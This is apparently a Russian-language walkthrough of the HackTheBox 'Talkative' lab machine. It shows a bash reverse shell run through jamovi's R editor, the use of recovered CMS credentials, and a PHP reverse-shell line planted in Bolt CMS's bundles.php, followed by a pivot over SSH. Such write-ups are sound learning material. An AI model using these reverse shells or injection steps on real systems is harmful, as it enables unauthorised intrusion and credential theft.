TALKATIVE :: HARD
Разведка
Сначала, как обычно нужно просканить порты.
:8080 - jamovi (excel, только онлайн)
:8081, :8082 - нас не интересуют
Спускаемся ниже и видим список сотрудников.
Также внутри кода страницы можно увидеть boltcms:
Saul Goodman ([email protected]) - глава компании
Matt Williams () - директор по маркетингу
Janit Smith () - директор по финансам
Запуск эксплойта
Как уже было отмечено ранее, среди портов есть анализатор jamovi. Переходим.
Сверху среди модулей замечаем модуль Rjeditor
Минута теории
Rjeditor - плагин, позволяющий выполнять код на языке R.
Итак, подключая модуль, у нас появляется окно, в которое можно писать код.
Первое что приходит в голову - вставить сюда reverseshell конструкцию. Пару минут гугла, и конструкция готова.
system("bash -c 'bash -i >& /dev/tcp/TUNNEL_IP/1337 0>&1'",intern=TRUE)
Вставляем код в rjeditor, и переходим в консоль.
С помощью утилиты pwncat (т.к. это наиболее удобная для взаимодействия с файлами оболочка) запускаем прослушку портов.
И запускаем код в rjeditor нажатием CTRL+SHIFT+ENTER.
Нам необходимо получить доступ к файлу bolt-administration.omv.
download /root/bolt-administration.omv
Тем самым скачивая нужный нам файл.
Доступ к CMS
xdata.json содержит данные таблицы.
cat xdata.json | jq .
"A": { [3/323] "labels": [ [ 0, "Username", "Username", false ], [ 1, "[email protected]", "[email protected]", false ], [ 2, "[email protected]", "[email protected]", false ], [ 3, "[email protected]", "[email protected]", false ] ] }, "B": { "labels": [ [ 0, "Password", "Password", false ], [ 1, "jeO09ufhWD<s", "jeO09ufhWD<s", false ], [ 2, "bZ89h}V<S_DA", "bZ89h}V<S_DA", false ], [ 3, ")SQWGm>9KHEA", ")SQWGm>9KHEA", false ] ] }, "C": { "labels": [] } }
Перебором паролей понимаем что пароль: jeO09ufhWD<s
Второй эксплойт
Немного изучения bolt.cms и понимаем что нас интересует файл config/bundles.php что используется для системы пакетов.
Переходим в редактор файлов по ссылке
http://talkative.htb/bolt/file-edit/config?file=/bundles.php
Учитывая что изменив данный файл мы меняем механику сайта, с этим нужно быть очень аккуратным (я ломал сайт раз так 10). Используем конструкцию
$sock=fsockopen("10.10.14.45",1337);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
Для получения доступа к машине.
Прописываем команду back для получения доступа к машине.
Мы в сети офиса. Нам необходимо получить доступ к компьютеру saul`a.
Если вы хоть как-то знакомы с сетями, вы можете знать 172.18.0.1. Default`ный шлюз маршрутизатора. Именно он поможет подключиться к компу Саула.
ssh [email protected]
Получения ключей
Получение ключей :: User Own
Ключ лежит в этой директории. Открываем
cat user.txt